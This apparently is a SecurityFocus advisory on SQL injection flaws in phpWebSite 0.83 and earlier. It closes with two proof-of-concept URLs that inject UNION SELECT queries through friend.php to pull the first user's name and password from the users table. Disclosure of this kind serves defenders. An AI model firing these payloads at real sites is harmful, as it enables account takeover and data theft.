source: https://www.securityfocus.com/bid/17150/info
phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Versions 0.83 and prior are vulnerable.
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1